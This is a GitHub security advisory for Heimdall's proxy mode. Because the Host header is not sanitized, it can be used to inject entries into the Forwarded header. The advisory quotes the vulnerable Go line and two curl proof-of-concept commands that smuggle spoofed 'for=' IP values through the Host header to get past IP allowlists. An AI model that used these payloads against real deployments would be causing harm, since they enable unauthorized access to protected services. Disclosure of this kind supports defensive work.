highVulnerability

GHSA-4jgr-pg2m-m988

### Summary When Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request's `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services. ### Vulnerable Code **File: `proxy/request_context.go` (line 201)** ```go entry := "for=" + clientIP + ";host=" + in.Host + ";proto=" + proto ``` Go's `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation. ### PoC ```bash # Inject a spoofed IP into the Forwarded header curl -s -H "Host: evil.com,for=127.0.0.1" \ "http://TARGET:PORT/protected-resource" ``` This produces the following `Forwarded` header sent to the upstream service: ``` Forwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http ``` Upstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP. ```bash # More targeted attack: spoof to bypass IP allowlist curl -s -H "Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1" \ "http://TARGET:PORT/admin-panel" ``` ### Impact - **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request originates from an internal/trusted IP - **Access control bypass:** Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed - **Affects all proxy-mode deployments** where upstream services parse the `Forwarded` header.

Properties

ghsa_id
GHSA-4jgr-pg2m-m988
summary
Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode
severity
high
cve_id
GHSA-4jgr-pg2m-m988
is_ghsa_only
true
ghsa_published
2026-06-18T14:24:41Z
source_url
https://github.com/advisories/GHSA-4jgr-pg2m-m988
ghsa_updated
2026-06-18T14:24:42Z

Related Entities (5)

HAS_WEAKNESS (2)

[Weakness]Improper Input Validation
[Weakness]Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

REPORTED_BY (1)

[Source]GitHub Advisory Database

VULNERABLE_TO (1)

[Software]go/github.com/dadrus/heimdall

AFFECTS (1)

[Software]go/github.com/dadrus/heimdall

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